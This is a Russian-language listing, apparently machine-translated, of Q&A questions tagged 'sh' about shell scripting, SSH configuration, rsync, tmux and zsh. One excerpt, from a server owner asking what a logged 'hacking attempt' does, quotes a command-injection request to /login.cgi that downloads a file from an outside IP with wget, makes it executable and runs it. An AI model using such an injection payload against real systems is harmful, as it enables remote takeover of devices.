Вопросы с тегом «sh»

32
Как автоматически перезапустить фоновый процесс Linux, если он не работает?

У меня есть процесс, который выполняется сценарием init.d на фоне. Например: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac В определенных условиях myprocess может завершиться с ошибкой и вернуться. Есть ли (стандартный) способ,...

32
Как распечатать файлы, которые были бы изменены с помощью rsync?

Есть ли способ заставить rsync напечатать полные пути к файлам для всех файлов, которые отличаются друг от друга, без фактической передачи каких-либо файлов? В качестве альтернативы мне нужен способ разбить файлы по двум деревьям (по SSH), основываясь только на изменении размера или времени...

31
Есть ли способ сделать Bash более дружественным к TAB?

Я использую bash как на своем Mac, так и в качестве оболочки Cygwin. В целом, я вполне доволен этим. Моя единственная жалоба, однако, заключается в том, что его завершение TAB не так хорошо, как завершение командной строки Windows. Например, если есть два файла с одинаковым префиксом, bash просто...

31
Как сделать DNS через прокси в Firefox?

Я использую Firefox 3.5.7 с FoxyProxy. У меня есть туннель SSH, пересылающий 8080 через прокси-сервер HTTP на другом конце. С FoxyProxy я посылаю рабочий трафик напрямую, но все остальное проходит через прокси-сервер. Тем не менее, DNS-запросы все еще отправляются на рабочие DNS-серверы для...

31
bash: как передать аргументы командной строки, содержащие специальные символы

Я написал себе программу для Linux, programкоторая нуждается в регулярном выражении в качестве входных данных. Я хочу вызвать программу в bashоболочке и передать это регулярное выражение в качестве аргумента командной строки программе (есть и другие аргументы командной строки). Типичное регулярное...

31
Как я могу получить конкретный аргумент из предыдущей команды в Bash?

В bash вы можете использовать !*все аргументы предыдущей команды. Например, если вы сделали, cp /some/path /some/other/pathа затем сделали mv !*, вторая команда будет расширена до mv /some/path /some/other/path. Есть ли что-то подобное, что можно использовать для доступа к определенному аргументу...

31
Конфигурация SSH - тот же хост, но разные ключи и имена пользователей

Я настроил две учетные записи GitHub, но не могу заставить ssh-ключи работать правильно. Я пробовал разные конфиги. Host github_username1 HostName github.com IdentityFile ~/.ssh/rsa_1 User username1 Host github_username2 HostName github.com IdentityFile ~/.ssh/rsa_2 User username2 git push:...

31
Получение Pageant для сохранения файлов ключей?

Я использую Pageant (в Windows 7) для входа в SSH-соединения с закрытыми ключами .ppk-файлов. Однако каждый раз, когда я запускаю программу, мне нужно снова добавлять все нужные мне ключи и вводить их ключи шифрования. Как я могу получить это, чтобы сохранить этот...

31
История команд в зш

В настоящее время я настроил zsh таким образом, чтобы история команд сразу распределялась между всеми сессиями. Скажем, у меня открыт эмулятор терминала с двумя вкладками, каждая с сеансом Zsh, А1 и А2. Если я введу ls -la в A1, а затем перейду к A2 и нажму клавишу со стрелкой вверх, я увижу ls -la...

31
Подключите сеанс tmux к удаленной машине

Я использую tmux на своей локальной машине и обычно имею несколько сеансов одновременно. Что я обычно делаю, так это сеанс с разными окнами для локальной работы и другие сеансы, в которых я подключаю несколько окон к одному хосту за сеанс. Дерево сеанса / окна выглядело бы так при ежедневном...

31
Может ли администратор сервера увидеть, что я копирую через SCP?

Скажем, я подключаюсь к серверу через SCP и копирую некоторые файлы с удаленного сервера на мой домашний компьютер. Могут ли администраторы сервера сказать, что я что-то скопировал, посмотреть, что было скопировано, или узнать, кто это...

31
Замените ProxyJump в ~ / .ssh / config

Я использую ProxyJumpв моем~/.ssh/config Host jump User jane HostName 1.2.3.4 DynamicForward 1028 Host dev User bill HostName 5.6.7.8 ProxyJump jump Мой коллега использует старую версию ssh (которую они не могут обновить). Какая будет эквивалентная конфигурация, чтобы позволить им подключаться...

31
Что не так с «echo $ (вещи)» или «эхо` вещи` »?

Я использовал один из следующих echo $(stuff) echo `stuff` (где stuff, например, pwdили dateили что-то более сложное). Затем мне сказали, что этот синтаксис неправильный, плохая практика, не элегантный, чрезмерный, избыточный, чрезмерно сложный, программирование культа грузов, нубистский, наивный и...

31
Что делает этот скрипт bash? [Попытка взлома]

В последнее время я замечал на своих серверах логи apache, следующие странные строки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Поэтому я создал...

30
Сколько ядер я использую на сервере Linux?

Мне просто интересно, как я могу узнать в bash, сколько процессорных ядер пользователь сейчас использует на Linux Server? Я отправляю достаточное количество фоновых заданий на сервер, поэтому я хотел бы написать сценарий bash, чтобы проверить перед отправкой задания, не слишком ли много запущенных...

30
Как загрузить файл из командной строки с помощью FTP или SSH?

Я никогда не делал этого раньше, и я создаю скрипт оболочки bash, чтобы сделать это для меня. Я также буду подключаться через ssh, чтобы сделать некоторые вещи (которые я уже знаю, как сделать). Так, может быть, есть способ загрузить файлы через ssh, чтобы я мог сделать все это в одном соединении?...